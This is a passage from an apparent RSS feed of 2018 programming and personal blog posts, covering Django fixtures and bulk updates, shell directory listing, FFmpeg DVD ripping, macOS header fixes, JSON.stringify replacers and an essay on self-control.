&lt;p&gt;&lt;strong&gt;When to use class properties:&lt;/strong&gt; If state needs to be stored, but is never used as a part of the view/render of a component.&lt;/p&gt;</description><author>Dylan Paulus' Blog</author><pubDate>Fri, 05 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://dylanpaulus.com/posts/2018/not-everything-is-state/</guid></item><item><title>Using bulk update in Django 2.2</title><link>https://tomforb.es/blog/bulk-update-added-to-django/</link><description>My work on adding bulk_update() to Django has been merged and will be released in Django 2.2! Like my filtered aggregates feature it relies heavily on the wonderfully versatile CASE statement to achieve some pretty good speedups for certain use-cases. The development documentation gives a pretty cle...</description><author>Tom Forbes</author><pubDate>Thu, 04 Oct 2018 21:36:02 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/bulk-update-added-to-django/</guid></item><item><title>how to load initial data and test data in Django 2+</title><link>http://blog.pythonaro.com/2018/08/how-to-load-initial-data-and-test-data.html</link><description>&lt;p&gt;There are two ways to automatically load data in Django: 

&lt;ul&gt;
&lt;li&gt;for data you need while running tests, place xml/json/yaml files in &lt;code&gt;yourapp/fixtures&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;for data you need while setting up the database from scratch, or at specific points in time, you must create a Migration&lt;/li&gt;
&lt;/ul&gt;
&lt;/p&gt;
&lt;p&gt;This is a bit annoying, because chances are these locations will get out of sync sooner or later, and it duplicates effort if you do reproducible builds, docker, and stuff like that.&lt;/p&gt;

&lt;p&gt;The solution is to create a migration that actually loads fixtures. So:
&lt;ol&gt;&lt;li&gt;Create your fixtures: &lt;code&gt;manage.py dumpdata --output yourapp/fixtures/yourmodel.json yourapp.YourModel&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Create an empty Migration: &lt;code&gt;manage.py makemigrations --empty yourapp&lt;/code&gt;&lt;li&gt;
&lt;li&gt;Edit the resulting migration (the last file created under &lt;code&gt;yourapp/migrations&lt;/code&gt;, making it look like this:

&lt;pre&gt;
from django.db import migrations

def load_fixtures(apps, schema_editor):
    # This is what will be executed by the migration
    from django.core.management import call_command
    # this is the equivalent of running manage.py loaddata yourmodel.json
    for fixture_name in ['yourmodel']: # add any additional model here
        call_command("loaddata", fixture_name)
    # add other calls if you have multiple models

def rollback(apps, schema_editor):
    # This will be executed if you rollback the migration, so you want to clean up
    for model_name in ["YourModel"]:  # add any additional model here
        model = apps.get_model("yourapp", model_name)
        model.objects.all().delete()

class Migration(migrations.Migration):
    dependencies = [
      # ... don't touch anything here ...
    ]

    operations = [
        migrations.RunPython(load_fixtures, rollback),
    ]
# -*- coding: utf-8 -*-
&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Profit&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Note that this does not remove the option to have data that is available only in certain situation: just don't list the fixtures you don't want in the migration, and vice-versa.&lt;/p&gt;</description><author>Subclassed</author><pubDate>Thu, 04 Oct 2018 15:42:41 GMT</pubDate><guid isPermaLink="true">http://blog.pythonaro.com/2018/08/how-to-load-initial-data-and-test-data.html</guid></item><item><title>`ls` command to show directory contents</title><link>https://josh.works/ls_command_recursively_list_directory_contents</link><description>&lt;p&gt;I like to use the &lt;code class="language-plaintext highlighter-rouge"&gt;tree&lt;/code&gt; command on my local machine when trying to peek into the structure and contents of a given directory.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;tree -L 2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;will [L]ist recursively everything [2] levels deep from your current directory. The output is nicely formatted like this:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;gt; tree -L 2
.
├── cargo
│   ├── ARCHITECTURE.md
│   ├── CONTRIBUTING.md
│   ├── Cargo.lock
│   ├── Cargo.toml
│   ├── LICENSE-APACHE
│   ├── LICENSE-MIT
│   ├── LICENSE-THIRD-PARTY
│   ├── README.md
│   ├── appveyor.yml
│   ├── rustfmt.toml
│   ├── src
│   ├── target
│   └── tests
├── fastly
│   └── fastly-test-blog
├── get-pip.py
├── learning_aws
├── learning_elixir
│   ├── hellow
│   ├── sample01.exs
│   └── sling_clone
├── learning_over_the_wire
│   ├── bandit
│   └── leviathan
├── learning_react
│   └── react_tutorial
├── learning_ruby_rails
│   ├── InstaClone
│   ├── blocks_practice.rb
│   ├── chris_pine_ruby_lessons
│   ├── eloquent_ruby
│   ├── email_sender
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you’ve SSHed into a linux box, however, and you’re trying to look around a bit, you won’t have &lt;code class="language-plaintext highlighter-rouge"&gt;tree&lt;/code&gt; available to you. How can you list out the contents of directories?&lt;/p&gt;

&lt;p&gt;Easy. The good ‘ol &lt;code class="language-plaintext highlighter-rouge"&gt;ls&lt;/code&gt; command:&lt;/p&gt;

&lt;!--more--&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;ls -1d ./*/*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;results in:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;gt; ls -1d ./*/*
./cargo/ARCHITECTURE.md
./cargo/CONTRIBUTING.md
./cargo/Cargo.lock
./cargo/Cargo.toml
./cargo/LICENSE-APACHE
./cargo/LICENSE-MIT
./cargo/LICENSE-THIRD-PARTY
./cargo/README.md
./cargo/appveyor.yml
./cargo/rustfmt.toml
./cargo/src
./cargo/target
./cargo/tests
./fastly/fastly-test-blog
./learning_elixir/hellow
./learning_elixir/sample01.exs
./learning_elixir/sling_clone
./learning_over_the_wire/bandit
./learning_over_the_wire/leviathan
./learning_react/react_tutorial
./learning_ruby_rails/InstaClone
./learning_ruby_rails/blocks_practice.rb
./learning_ruby_rails/chris_pine_ruby_lessons
./learning_ruby_rails/eloquent_ruby
./learning_ruby_rails/email_sender
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;ls&lt;/code&gt; is obviously “list”. What about that &lt;code class="language-plaintext highlighter-rouge"&gt;-1d&lt;/code&gt; thing?&lt;/p&gt;

&lt;p&gt;according to the man page:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;-1   (The numeric digit ``one''.)  Force output to be one entry per line.  This is the
      default when output is not to a terminal.
         
-d   Directories are listed as plain files (not searched recursively).
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;to achieve a certain number of directories in depth, just repeat the &lt;code class="language-plaintext highlighter-rouge"&gt;./*./*&lt;/code&gt; pattern, one &lt;code class="language-plaintext highlighter-rouge"&gt;/*&lt;/code&gt; per directory depth you’d like to view.&lt;/p&gt;

&lt;p&gt;The output isn’t always particularly readable - sometimes you get a ton of results.&lt;/p&gt;

&lt;p&gt;If this is the case, you could always pipe the output to &lt;code class="language-plaintext highlighter-rouge"&gt;head&lt;/code&gt;, or &lt;code class="language-plaintext highlighter-rouge"&gt;grep&lt;/code&gt; the output. That said, I’ve used this general pattern regularly, and it’s been helpful.&lt;/p&gt;

&lt;h3 id="related-resources"&gt;Related resources&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://unix.stackexchange.com/questions/93323/list-subdirectories-only-n-level-deep"&gt;List subdirectories only n level deep (unix.stackexchange.com)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Wed, 03 Oct 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/ls_command_recursively_list_directory_contents</guid></item><item><title>Base64 Basics</title><link>https://denvaar.dev/posts/base64_basics.html</link><description>Base64 is an encoding scheme used to change binary data into text.</description><author>denvaar's website</author><pubDate>Wed, 03 Oct 2018 08:40:09 GMT</pubDate><guid isPermaLink="true">https://denvaar.dev/posts/base64_basics.html</guid></item><item><title>How to Setup Discourse on DigitalOcean</title><link>https://solomon.io/how-to-setup-discourse-on-digital-ocean/</link><description>I have spent a good portion of my evenings during the last two weeks working with a piece of community software called Discourse.</description><author>Sam Solomon</author><pubDate>Wed, 03 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/how-to-setup-discourse-on-digital-ocean/</guid></item><item><title>Ripping DVDs in linux with FFmpeg</title><link>https://shyamjos.com/easily-rip-dvds-in-linux-with-ffmpeg/</link><description>&lt;p&gt;






 
 
&lt;figure&gt;&lt;img alt="dvd ripping in linux" class="mx-auto my-0 rounded-md" src="https://shyamjos.com/assets/img/dvd-ripping/dvd-linux.webp" /&gt;
&lt;/figure&gt;

In this tutorial, I will show you a simple way to RIP DVD into a single file using FFmpeg command line tool in Linux.&lt;/p&gt;
&lt;h2 class="relative group" id="install-ffmpeg-in-ubuntudebianlinux-mint"&gt;Install FFmpeg in Ubuntu/Debian/Linux Mint &lt;span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"&gt;&lt;a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" href="#install-ffmpeg-in-ubuntudebianlinux-mint"&gt;#&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt-get install ffmpeg
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now copy contents of your DVD to local directory and cd into &lt;strong&gt;VIDEO_TS&lt;/strong&gt; directory&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you want to RIP the DVD directly without copying it to the local directory first , then you need to modify last part of the below commands to : /home/your-username/myvideo/rip.mp4&lt;/p&gt;
&lt;h2 class="relative group" id="1-rip-dvd-into-a-single-file"&gt;1. RIP DVD into a single file &lt;span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"&gt;&lt;a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" href="#1-rip-dvd-into-a-single-file"&gt;#&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;Now enter below command to start ripping process in optimum quality, If you want to control the size (eg: limit size to 700MB) of the ripped file, then use the third command&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cat VTS_0*_*VOB | ffmpeg -i - -vcodec h264 -acodec mp2 rip.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="relative group" id="2-rip-dvd-with-deinterlace-option"&gt;2. RIP DVD with deinterlace option &lt;span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"&gt;&lt;a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" href="#2-rip-dvd-with-deinterlace-option"&gt;#&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;If you want to enable deinterlace option run below command&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cat VTS_0*_*VOB | ffmpeg -i - -vf yadif -vcodec h264 -acodec mp2 rip.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="relative group" id="3-rip-dvd-with-quality-option"&gt;3. RIP DVD with quality option &lt;span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"&gt;&lt;a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" href="#3-rip-dvd-with-quality-option"&gt;#&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;Use below command to reduce size and quality of output file, Here the &amp;lsquo;-crf&amp;rsquo; option sets the quality of the ripped file. The range of the CRF scale is 0&amp;ndash;51, where 0 is lossless , 23 is the default, and 51 is the worst quality possible.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cat VTS_0*_*VOB | ffmpeg -i - -c:v libx264 -crf 23 rip.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Above command will read all video files in a folder and pipe the stream to FFmpeg command, after the successful completion of the command you can find the ripped file with name &lt;code&gt;rip.mp4&lt;/code&gt;&lt;/p&gt;</description><author>Shyam Jos</author><pubDate>Wed, 03 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://shyamjos.com/easily-rip-dvds-in-linux-with-ffmpeg/</guid></item><item><title>Hammer Factories</title><link>https://www.danstroot.com/posts/2018-10-03-hammer-factories</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/hammer.png" /&gt;&lt;br /&gt;&lt;br /&gt;There is a post from 2005 by Benji Smith in the old (and now closed) Joel on Software Discussion Group. It is titled "Why I Hate Frameworks". But I know it as "the hammer factory" post. It is just brilliant, even 13 years later. I am reproducing it here for posterity in case the old Joel on Software Discussion Group ever disappears.&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2018-10-03-hammer-factories"&gt;Hammer Factories&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Wed, 03 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2018-10-03-hammer-factories</guid></item><item><title>Fix Missing Headers Compiling on macOS Mojave</title><link>https://donatstudios.com/MojaveMissingHeaderFiles</link><description>&lt;fieldset&gt;
&lt;legend&gt;Update&lt;/legend&gt;

It would appear that the latest version of Xcode has removed the macOS_SDK_headers_for_macOS_10.14.pkg file. I am currently searching for alternative solutions.

&lt;/fieldset&gt;
&lt;p&gt;While trying to compile PHP extensions after installing macOS Mojave, I was butting up against a ton of missing header file errors including &lt;code&gt;php.h&lt;/code&gt; and zlib.&lt;/p&gt;
&lt;p&gt;After several hours of beating my head against my desk and Googling/Stack Overflowing I found the solution.&lt;/p&gt;
&lt;p&gt;Ends up you just need to force re-install the header files. Special thanks to &lt;a href="https://github.com/Homebrew/homebrew-core/issues/29176#issuecomment-398656987"&gt;@sfdye&lt;/a&gt; for the solution!&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-console"&gt;$ sudo installer -pkg /Library/Developer/CommandLineTools/Packages/macOS_SDK_headers_for_macOS_10.14.pkg -target /&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you get an error about that file not existing, you probably simply don't have the Xcode command line tools installed which can be remedied simply as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-console"&gt;$ xcode-select --install&lt;/code&gt;&lt;/pre&gt;</description><author>Donat Studios</author><pubDate>Wed, 03 Oct 2018 00:22:40 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/MojaveMissingHeaderFiles</guid></item><item><title>Blogtober 2018, the second</title><link>https://rjp.is/blogging/posts/blogtober-2018-02/</link><description>In which we fail dismally at all the 'obers.</description><author>infrequent oscillations</author><pubDate>Tue, 02 Oct 2018 21:44:19 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/blogtober-2018-02/</guid></item><item><title>You Don't Understand Compound Growth</title><link>https://whoisnnamdi.com/you-dont-understand-compound-growth/</link><description/><author>Who is Nnamdi?</author><pubDate>Tue, 02 Oct 2018 11:13:00 GMT</pubDate><guid isPermaLink="true">https://whoisnnamdi.com/you-dont-understand-compound-growth/</guid></item><item><title>How the cloud grew up around Linux</title><link>https://jasoneckert.github.io/myblog/how-the-cloud-grew-up-around-linux/</link><description>&lt;p&gt;&lt;img alt="cloudy" src="cloudy.png#center" title="cloudy" /&gt;&lt;/p&gt;
&lt;p&gt;Open source software has had a powerful effect on computing. When the ARPANET/NSFNET was sold to different companies in the 1990s to create the commercial Internet, nobody expected it to grow as fast as it did. It was the open source Apache Web server running on the open source Linux (and BSD UNIX) operating system that ultimately allowed the Internet to grow quickly and attract the attention of the world.  Apache on Linux allowed anyone with a computer and Internet connection to implement a Web server to serve Web pages as part of the World Wide Web of Internet resources. In short, if there was no open source Web server or operating system freely available in the 1990s, the rise of the Internet would have been dramatically slower or even non-existent until the 2000s. The Internet and the World Wide Web grew up around open source and Linux.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Tue, 02 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/how-the-cloud-grew-up-around-linux/</guid></item><item><title>Blogtober 2018, the first</title><link>https://rjp.is/blogging/posts/blogtober-2018-01/</link><description>In which we try to follow some 'obers.</description><author>infrequent oscillations</author><pubDate>Mon, 01 Oct 2018 22:31:06 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/blogtober-2018-01/</guid></item><item><title>JSON.stringify removes undefined, how to keep it</title><link>https://muffinman.io/blog/json-stringify-removes-undefined/</link><description>&lt;article class="article"&gt;&lt;p&gt;This is something I keep rediscovering, because I keep forgetting it. &lt;code&gt;JSON.stringify&lt;/code&gt; will omit all object attributes that are &lt;code&gt;undefined&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In most cases, it doesn&amp;#x27;t really matter, because if we parse that string back, and try to access that attribute - it will be &lt;code&gt;undefined&lt;/code&gt; by design. Check the example below:&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; user &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token literal-property property"&gt;name&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;Stanko&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token literal-property property"&gt;phone&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token keyword nil"&gt;undefined&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;user&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;phone&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;// -&amp;gt; undefined&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; stringifiedUser &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token known-class-name class-name"&gt;JSON&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;stringify&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;user&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;// -&amp;gt; &amp;quot;{\&amp;quot;name\&amp;quot;:\&amp;quot;Stanko\&amp;quot;}&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; parsedUser &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token known-class-name class-name"&gt;JSON&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;parse&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;stringifiedUser&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token comment"&gt;// -&amp;gt; { name: &amp;quot;Stanko&amp;quot; }&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// At the end it behaves the same&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;parsedUser&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;phone&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;// -&amp;gt; undefined&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="why-should-we-care-then"&gt;Why should we care then? &lt;a class="anchor-link" href="#why-should-we-care-then"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;In most scenarios you shouldn&amp;#x27;t. But for me, one case keeps popping up - sending http requests. Request body is a string, so we need to stringify our data.&lt;/p&gt;
&lt;p&gt;In certain cases we want server to be aware that some data has been explicitly removed, so it can be removed from the database as well. This is where dropping &lt;code&gt;undefined&lt;/code&gt; can cause problems.&lt;/p&gt;
&lt;p&gt;Few days ago, one of my clients had a question about &lt;a href="https://github.com/final-form/react-final-form"&gt;React Final Form&lt;/a&gt;. Problem was that Final Form returns &lt;code&gt;undefined&lt;/code&gt; for the values that have been removed by the user. As you can imagine, this was a problem, when they stringified form values &lt;code&gt;undefined&lt;/code&gt; fields were omitted and server wasn&amp;#x27;t aware that the field was removed.&lt;/p&gt;
&lt;h2 id="using-replacer-parameter"&gt;Using &lt;code&gt;replacer&lt;/code&gt; parameter &lt;a class="anchor-link" href="#using-replacer-parameter"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Luckily &lt;code&gt;JSON.stringify&lt;/code&gt; accepts  &lt;code&gt;replacer&lt;/code&gt; function as a
&lt;span class="sidenote__text" tabindex="0"&gt;second parameter&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;Third one is &lt;code&gt;space&lt;/code&gt;, number of spaces or a string to be used for indentation&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.
Function accepts two parameters, current &lt;code&gt;key&lt;/code&gt; and &lt;code&gt;value&lt;/code&gt; being stringified. This allows us to replace any value, in our case &lt;code&gt;undefined&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We just need to check if the value is &lt;code&gt;undefined&lt;/code&gt; and return &lt;code&gt;null&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; user &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token literal-property property"&gt;name&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;Stanko&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token literal-property property"&gt;phone&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token keyword nil"&gt;undefined&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; &lt;span class="token function-variable function"&gt;replacer&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token parameter"&gt;key&lt;span class="token punctuation"&gt;,&lt;/span&gt; value&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token arrow operator"&gt;=&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;typeof&lt;/span&gt; value &lt;span class="token operator"&gt;===&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;undefined&amp;#x27;&lt;/span&gt; &lt;span class="token operator"&gt;?&lt;/span&gt; &lt;span class="token keyword null nil"&gt;null&lt;/span&gt; &lt;span class="token operator"&gt;:&lt;/span&gt; value&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; stringified &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token known-class-name class-name"&gt;JSON&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;stringify&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;user&lt;span class="token punctuation"&gt;,&lt;/span&gt; replacer&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;// -&amp;gt; &amp;quot;{\&amp;quot;name\&amp;quot;:\&amp;quot;Stanko\&amp;quot;,\&amp;quot;phone\&amp;quot;:null}&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is one example where replacer comes in handy. It can also be practical when stringifying complex objects and getting &lt;code&gt;TypeError: Converting circular structure to JSON&lt;/code&gt;. It this case, we need to write custom replacer which will take care of circular references.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This post ended up being a bit longer than I planned, but I hope it was useful.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 01 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/json-stringify-removes-undefined/</guid></item><item><title>Self-Control is an Anti-Virtue</title><link>https://taylor.town/self-control</link><description>&lt;p&gt;When we're young, we often get scolded for self-control issues.&lt;/p&gt;
&lt;p&gt;If you talk too much, you're told to "hold your tongue". If you cry in public, you're told to "control your temper". And so on.&lt;/p&gt;
&lt;p&gt;The logic is something as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You often want to do things that offend others.&lt;/li&gt;
&lt;li&gt;If you offend others, they won't like you.&lt;/li&gt;
&lt;li&gt;If others don't like you, then you'll be miserable and lonely.&lt;/li&gt;
&lt;li&gt;You can use self-control to offend others less often.&lt;/li&gt;
&lt;li&gt;Thus, if you don't want to be miserable and lonely, use self-control to avoid offending others.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It's not very formal, but I actually think the logic is sound enough -- if you want to be likable, then don't do unlikable things!&lt;/p&gt;
&lt;p&gt;But I'm starting to think that there are unintended consequences from living this way.&lt;/p&gt;
&lt;h2 id="the-downsides-of-social-restraint"&gt;The Downsides of Social-Restraint&lt;/h2&gt;
&lt;p&gt;Don't get me wrong -- it's good to be considerate of others. But if you frequently supress your &lt;em&gt;true&lt;/em&gt; feelings with self-control, when do your "bad" desires ever get addressed? I know that there's a camp that says "fake it 'til you make it", but I'm not so convinced anymore.&lt;/p&gt;
&lt;p&gt;Many of my friends and family are a bit more than &lt;a href="https://youtu.be/yzh7RtIJKZk?t=60"&gt;mildly racist&lt;/a&gt;. When I hear &lt;em&gt;implications&lt;/em&gt; of deeper, darker feelings, I coax them into being explicit: "…and what exactly do you mean by that?" (but not in a judgemental way). When probed enough, most people find fear and self-hatred in that tangled ball of feelings. And they didn't want to talk about it in the first place because they were trying to be "politically correct".
With enough practice, we move from "Mexicans are taking our jobs" to "I'm scared that my grandchildren won't have job security". But to make this jump, most people need to be unabashedly "politically incorrect". In order to change, they need to be honest with themselves and others. Otherwise, all contradictory evidence gets labeled as "irrelevant" or as "fake news". If you are truly convinced that Mexicans are The Problem, then any intention to help your grandchildren directly will seem misguided.&lt;/p&gt;
&lt;p&gt;And so here's the pickle: we show social-restraint to avoid criticism. But with enough &lt;em&gt;constructive&lt;/em&gt; criticism, we wouldn't need to restrain ourselves. But criticism is uncomfortable for everybody involved, so we continue restraint.&lt;/p&gt;
&lt;p&gt;Short of threat of physical force, all beliefs are fair-game. If you don't test your thoughts against others, then how will you know which ones are wrong? And if you know it's wrong, then maybe saying it out-loud will &lt;em&gt;force&lt;/em&gt; you to discover how bad it feels to say it, and how terrible it feels others. Sometimes seeing the consequences of a bad belief inspires change.&lt;/p&gt;
&lt;p&gt;But I don't know -- what if all your peers are impressionable and your bad beliefs spread and mutate and become terrible monstrosities? Oof. Maybe I overestimate people's ability to change. Tell me I'm wrong, I guess 💁&lt;/p&gt;
&lt;p&gt;I suppose this advice is more about listening than speaking. Become someone who others can expose bad ideas to. Most people will provide enough self-criticism -- just be there.&lt;/p&gt;
&lt;h2 id="never-do-things-you-dislike"&gt;Never Do Things You Dislike&lt;/h2&gt;
&lt;p&gt;Self-control also has weird affects on long-term goal-planning.&lt;/p&gt;
&lt;p&gt;When you consistently do things you don't like, why would you expect to end up somewhere &lt;em&gt;better&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;Most medical students &lt;em&gt;loathe&lt;/em&gt; medical school. But they endure medical school because one day they'll get to be &lt;em&gt;Dr.&lt;/em&gt; LastName. But many of them discover -- &lt;em&gt;surprise&lt;/em&gt; -- that they hate being doctors! If you hated the training, why would you expect to love the outcome‽&lt;/p&gt;
&lt;p&gt;If you dislike the training, the outcome is unpredictable. If you practice violin for 25 years, you &lt;em&gt;may&lt;/em&gt; enjoy being an accomplished violinist. But why on earth wouldn't you take the time to &lt;em&gt;learn to love&lt;/em&gt; violin‽ Or just choose a different instrument‽ If you practice something you enjoy, you are &lt;em&gt;guaranteed&lt;/em&gt; to like the outcome.&lt;/p&gt;
&lt;p&gt;If you dislike it, here are your choices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Learn to love it.&lt;ul&gt;
